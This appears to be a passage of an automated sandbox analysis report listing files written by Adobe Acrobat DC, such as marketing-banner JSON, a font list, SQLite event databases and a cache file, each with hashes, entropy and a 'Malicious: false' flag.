SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.387344511906008
Encrypted:	false
SSDEEP:	6:YEQXJ2HX51IZWwz2kVoZcg1vRcR0YMzoAvJM3g98kUwPeUkwRe9:YvXKXnWz2lZc0vR8GMbLUkee9
MD5:	4EE4463D74466A9C0E6F23B1DC602313
SHA1:	47F49F31354090A81D926E8269ED0A3EDD8D4D43
SHA-256:	8BB8283410A88AC8EBAEB62DDE48A7C1C0DC3729C370B701621FEE3C523D4EBC
SHA-512:	7D6118EDAEF43B847D7DA34CBDDBFFB9BFD7A5CEEF7D52E7384911049ECD137C64BB036AE5D02D3BDE358819C924A48954C52025CA83460184422A522013B478
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b04cb679-ce63-45bf-9a11-f33e0f931d88","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737020758250,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.33561183963747
Encrypted:	false
SSDEEP:	6:YEQXJ2HX51IZWwz2kVoZcg1vRcR0YMzoAvJfBoTfXpnrPeUkwRe9:YvXKXnWz2lZc0vR8GWTfXcUkee9
MD5:	4ADE3C368B04530A14386AB48A6B7855
SHA1:	5DE6B7DCA004958046688A50CA6820BADF96E3CE
SHA-256:	AA22E7B74040B819469FFEEE2E076FFE48EA8EB093966E29844E79B163018C52
SHA-512:	55BF634DC3CC0AEE3B7002E25501D76BD50CDCB2FC6A1D3EB20A6C96287570BEF75AAB849580478864A96D3EFE3763CC14CDFD1E8FC9129DE94783DDE0F5D6DC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b04cb679-ce63-45bf-9a11-f33e0f931d88","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737020758250,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.314160156163474
Encrypted:	false
SSDEEP:	6:YEQXJ2HX51IZWwz2kVoZcg1vRcR0YMzoAvJfBD2G6UpnrPeUkwRe9:YvXKXnWz2lZc0vR8GR22cUkee9
MD5:	3D6375F8BD167A44D7B4A0CE9105799B
SHA1:	75A2D387E7BBACA45F60A96E2E073416AC5D378E
SHA-256:	FAE5CF179682F593ECE90A4A98B2FA39F1C65D21A00A1E06C25B6800FDEB7CA5
SHA-512:	30EE71CE426A623F186FD85E805C5E0A30ECDABC880EF02C775C8D93E5E4D1F84FF88C6DF464AA35800F28D6B841A2E462D5392F39F045EDD9D9C46E7679C534
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b04cb679-ce63-45bf-9a11-f33e0f931d88","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737020758250,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.3751964611042835
Encrypted:	false
SSDEEP:	6:YEQXJ2HX51IZWwz2kVoZcg1vRcR0YMzoAvJfPmwrPeUkwRe9:YvXKXnWz2lZc0vR8GH56Ukee9
MD5:	1090C0F3119977CECF5D9B12D7E17558
SHA1:	1B4AEB2216FBC62D412EB25C77395153720075EA
SHA-256:	80E80987D518CA9619B7BCEAC79D2B1AE6AFF98CDF9CC3BAA088C80F21BF7056
SHA-512:	FE4F4D860095836142974D0B2BF61C7BA4BF3A1228F1FBFDAF6D4972B54C573F7FC6831B9AC381FCDA7FA7D864F810403C391DC3C79166E5225DA72BC64E6449
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b04cb679-ce63-45bf-9a11-f33e0f931d88","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737020758250,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.6923656523064965
Encrypted:	false
SSDEEP:	24:Yv6XWYzvrpLgE9cQx8LennAvzBvkn0RCmK8czOCCSE:YvHgjhgy6SAFv5Ah8cv/E
MD5:	075429869FA36E48E41BE9F1AE59EF08
SHA1:	09F477049679BBFCE9ED85D1112FB35D7FEE7B2D
SHA-256:	1D709A6A2187371CBA873E8338C406F1EBB1EA92808632ED7177A18236F02FBE
SHA-512:	F51FE1676D2F3B0755332C29D26A849DA3711ECA9EE2026F323991C3DB0D8013918C1B3D17AC725D2D186B7CC5F140562A122F470997084A2A437D87033F657A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b04cb679-ce63-45bf-9a11-f33e0f931d88","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737020758250,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.322506866083763
Encrypted:	false
SSDEEP:	6:YEQXJ2HX51IZWwz2kVoZcg1vRcR0YMzoAvJf8dPeUkwRe9:YvXKXnWz2lZc0vR8GU8Ukee9
MD5:	A2951D0B66E741A5BF44CE7788AD0C5E
SHA1:	C2B602E7EF26BA449BD7A3EAC517692037C88610
SHA-256:	CF258CDB13E291FD612907E332E653FD25D0B21F81D893842805631E41FE8935
SHA-512:	A9E7FD8B4335896CD533F9F008A77D65E3147C22FF6FBB2B4B6E741C537C41A2F810767CD02E2CD72F7188B2DAFB9736383A3D970BEA018CCF09A6D329E8D78F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b04cb679-ce63-45bf-9a11-f33e0f931d88","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737020758250,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.3258672694011295
Encrypted:	false
SSDEEP:	6:YEQXJ2HX51IZWwz2kVoZcg1vRcR0YMzoAvJfQ1rPeUkwRe9:YvXKXnWz2lZc0vR8GY16Ukee9
MD5:	7CC424A0C5040A683CE79D4A9BABFC71
SHA1:	59986AC93B463B128700F83CA2CC7C6793F2B7C9
SHA-256:	CE6148D28936018D524ACE0AB832CA79C45DDB1BF8843D3BCBFD8A1019D3D706
SHA-512:	18AB190E7684C5EF646A2A1348A79B4E548D7911E9D1159E59A13A596066CC498354DAB80BDFC94F42507F2F97F7480115CB34361ED1FE91B5601ECD3615FDBC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b04cb679-ce63-45bf-9a11-f33e0f931d88","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737020758250,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.332815119883226
Encrypted:	false
SSDEEP:	6:YEQXJ2HX51IZWwz2kVoZcg1vRcR0YMzoAvJfFldPeUkwRe9:YvXKXnWz2lZc0vR8Gz8Ukee9
MD5:	23384391B8175FF3C2AED38E4082173C
SHA1:	F60B4E7FCDE817ED43F65A495BA4BDC584AC2D23
SHA-256:	4CAC5464B5429C20FB6E12CE76D1761AEF0E7F303E9FF390BC4D20AE67631F5B
SHA-512:	7EC316682DD64B38C37E993CA946DB2AF271BAB441AF753D7BC3AEB09A30A77C5533F18973FD5E98840E654EB87E9C2D4B5FDDDA44D0D1D630B4D2E24CBBA9FB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b04cb679-ce63-45bf-9a11-f33e0f931d88","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737020758250,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.34785608324787
Encrypted:	false
SSDEEP:	6:YEQXJ2HX51IZWwz2kVoZcg1vRcR0YMzoAvJfzdPeUkwRe9:YvXKXnWz2lZc0vR8Gb8Ukee9
MD5:	CCDBE525D4E39B62A5951A954C9FAD0E
SHA1:	EF0760005AA2FC3D5B27AFE6102B1CCCD66AE426
SHA-256:	A0506E3BD80906737EE2A2DAF80978CD4634A9F00901416EA3B90D7B23A942F9
SHA-512:	825DAEE2030E76F8F8C653B882758996BA97F6CA2A9D3ACE317457900939FC098BB8A8424CF10EDFB83E6160EBEEF48E39DF4A336A510C708657CA96F326E7E4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b04cb679-ce63-45bf-9a11-f33e0f931d88","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737020758250,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.328797546957633
Encrypted:	false
SSDEEP:	6:YEQXJ2HX51IZWwz2kVoZcg1vRcR0YMzoAvJfYdPeUkwRe9:YvXKXnWz2lZc0vR8Gg8Ukee9
MD5:	65C55CB2D598C9DC4BCEEB50652C754E
SHA1:	172640A947A03E64C5329BC46BAB336FAC157736
SHA-256:	01892154E41D6FA9BBB3A405A7CE92CC973E0B5A77763538CBB144FC367B02B1
SHA-512:	A116902652CFE87EB0933B4F1973809EF421797E9E9E4CC440316062F3227A9505AA5CB54E43831470C9BA7D5ADE574CAFD6DD7BDA9AA87480D070DA3AB81702
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b04cb679-ce63-45bf-9a11-f33e0f931d88","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737020758250,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.315653909774302
Encrypted:	false
SSDEEP:	6:YEQXJ2HX51IZWwz2kVoZcg1vRcR0YMzoAvJf+dPeUkwRe9:YvXKXnWz2lZc0vR8G28Ukee9
MD5:	86277AEF80D0C93B17EA0690D6F258C7
SHA1:	29DCCC958761350EB78FBCF2EE1A9473F5352E6D
SHA-256:	6EA6B7789859176D408FF903495ED0F80AE6CCD6502CD5A85C6D9B6B014FB23A
SHA-512:	0BED165FFAF1CF2686DAF51F70D5069C83A0A53D90AB4CF9A63967FB442715C86A4F4AE3AA9DDE0BDC762341CDFBD1B7EFC6E79D2D69A11D24CB89ABEFFE143D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b04cb679-ce63-45bf-9a11-f33e0f931d88","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737020758250,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.312146723346563
Encrypted:	false
SSDEEP:	6:YEQXJ2HX51IZWwz2kVoZcg1vRcR0YMzoAvJfbPtdPeUkwRe9:YvXKXnWz2lZc0vR8GDV8Ukee9
MD5:	612E8DDA9AE2EFD08D317B763D743F77
SHA1:	F88393548E5C3690E92F0E56EFDFA2ACFDA0D0F2
SHA-256:	83EEB584A828A8B0DB78C574868FF642E0E01E4898324884A7488B2A716A85E6
SHA-512:	9AD853545FF7D10AD72D3813B2283B0B209034973D2545F29866E62014F37833D97C92E99FD4D40A9397DC61BC56A781503D87172E8737E09D189F52FE5C0290
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b04cb679-ce63-45bf-9a11-f33e0f931d88","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737020758250,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.316882396426367
Encrypted:	false
SSDEEP:	6:YEQXJ2HX51IZWwz2kVoZcg1vRcR0YMzoAvJf21rPeUkwRe9:YvXKXnWz2lZc0vR8G+16Ukee9
MD5:	D823699CB2C3F2BBC0D163E34D52030A
SHA1:	1194DAF4A2895B2801D257081C243230B616F945
SHA-256:	2C6C3A1B2DB0AD2A125F4DBBBB104F56ADF308D366717A475181C7153C178FC6
SHA-512:	E1493253398D490179E124F4D27933E6A42B163269F590911261DF8E84C8C87CB718FBCFF5E05C18128D9E15E2E3F227AEAD4A73793713D43603F3703B773087
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b04cb679-ce63-45bf-9a11-f33e0f931d88","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737020758250,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.669409110956702
Encrypted:	false
SSDEEP:	24:Yv6XWYzvLamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSE:YvHgDBgkDMUJUAh8cvME
MD5:	44817AF832CB89E5948756A934B0101B
SHA1:	88B4D56058513EC928BEC0EDC88CA7A007FEEEFE
SHA-256:	8E1779B113047EEA15646DC8451C2E7829981B28539E14639AD7F1AF1D9AE834
SHA-512:	4021C5A25321192E119EBAD3CC78DB28968113C8D45BE1B916110F4F3C828102C8C5DCDA345DE68F5452149A1D4193A4234E290FCB501BCF5E96C1F82C69068D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b04cb679-ce63-45bf-9a11-f33e0f931d88","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737020758250,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.293955228899736
Encrypted:	false
SSDEEP:	6:YEQXJ2HX51IZWwz2kVoZcg1vRcR0YMzoAvJfshHHrPeUkwRe9:YvXKXnWz2lZc0vR8GUUUkee9
MD5:	F601BE5940B8916207E05ED4F6A84462
SHA1:	FDA4B40E66EAF2E2FFCC6362225B0F0BA7F5F7C3
SHA-256:	5A18FC0627F696CADBFAF86E1D3B7F1B6CE77ACF3A02CA5B4D559446AD831929
SHA-512:	9BA1F310F07B04E2189544060CFEFD3419F4701A6215C9F2D3153EEADBB2404969AF26DA47875810F68E55A6487EF53CE6CCF86614F8746EED06CFAE40CCBA07
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b04cb679-ce63-45bf-9a11-f33e0f931d88","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737020758250,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.300707545026204
Encrypted:	false
SSDEEP:	6:YEQXJ2HX51IZWwz2kVoZcg1vRcR0YMzoAvJTqgFCrPeUkwRe9:YvXKXnWz2lZc0vR8GTq16Ukee9
MD5:	D9D610A812DDF8005B00C22326DFE9DA
SHA1:	774C3A0980F72B11C88D8ACC9A07A90A8D57C9C8
SHA-256:	DA2FE52DD53EB0985CCB5B48A3309C06F5738CB40424126A2AF2C1F4756CB44A
SHA-512:	EA44AC7773FAF5F5CF5242F7BD72579655DFF6A642EC4FE15018302844F9448B2287245FCCD4759D14982C2A3908A0BB84A590C3B27337BF022BEB6404C22BDF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b04cb679-ce63-45bf-9a11-f33e0f931d88","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737020758250,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.136197537493457
Encrypted:	false
SSDEEP:	24:YU/IZataaynVxU1Ps1/sTCR5QwbnJj3j0uj0SiicC+2SF2LS8Cyyp2arBZ5qv9hf:Y8OVEPs1/sYjhBulvF6mp1vg9wY
MD5:	286AD793985806DED1A75FBD51E6B617
SHA1:	0ADA905869471389D2F47725E0E602B024BD3FC1
SHA-256:	432123C9366CDA041219A951E67E03497E6D440E88BD87A1D68B771769484D02
SHA-512:	F3ACA3D701251B4D08C072410F674CE0EF4E4EEA4D987B78148499B9D6E7A845FC28D753FEDBBE3A67BCF35197DCF7B5E93B2CCD7CABD3ADE6E7CC585BBE1BCC
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"7fb341b5dc159e0f4eb714c8460188cf","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736844912000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"daab2cdffc8933105f9b680a01893db3","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736844912000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"dbe22c54ab01366ca97ba8c8a3c25fa3","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736844912000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"16c594e60da99325ef871d8cc1ae2356","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736844912000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"6b3100b957405fe3a1fda5da22d11d28","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","size":289,"ts":1736844912000},{"id":"DC_Reader_Edit_LHP_Banner","info":{"dg":"a8459e7d8f75007e8d9cb81b2a80323b","sid":"DC_Reader_Edit_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1877636969069998
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUUTPkrSvR9H9vxFGiDIAEkGVvpvPkD:lNVmswUUUUUUUUTcr+FGSItTcD
MD5:	04E5B32398888FF4F18581CD8CE9FEE6
SHA1:	D57BA805F66907CE3405C73967C3E5BFFDF280B2
SHA-256:	7820B88E83254BCE7608D9C3F6EBB1686E4308B83B1286174A60100D928082C2
SHA-512:	594DABA5F4D85F2967B7FC4A22FF88E79B7AB20F07A514F997BCE1EE9B5B3E9507CEF22C4752CF92B49801A5A1CBC70FB2E22DC0327241CF648A790510ADD5C0
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.6057673456119703
Encrypted:	false
SSDEEP:	48:7MAKUUUUUUUUUUTPk/vR9H9vxFGiDIAEkGVvxqFl2GL7ms6X:7UUUUUUUUUUUTc3FGSItvKVmsY
MD5:	B9AD7F5FC93FFCB18FE3B1484997C7CC
SHA1:	A606F725B5CA98A75D681E8CBF2DE6E8C539897B
SHA-256:	A000FA71B1DF2C24DD1B6EEF57FDD9E058F23837A50DD45D10A34204B99944A2
SHA-512:	137893F827D6E9050C543EF4CA81D132155E32BC8C1D7ACD3DE9E409B45E5FBC4F5EF1493FF8A76E52679BB87D94663A35555601771BFA24CAEF764B79655482
Malicious:	false
Preview:	.... .c......sO;......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgAVX63NsnmuZAV4GmheQCHp1TYyu:6a6TZ44ADEAVq3NsmucHvTK
MD5:	8D1F27120A9DDC6387EB0EFA54A4D387
SHA1:	5DF0A9DBCD2EC5F8C426557B0B25127DFC520279
SHA-256:	6D46DFBDCC2EBCB76078D3ECFD65301A314A15A4198F97A1B59F5B7E84DAB77B
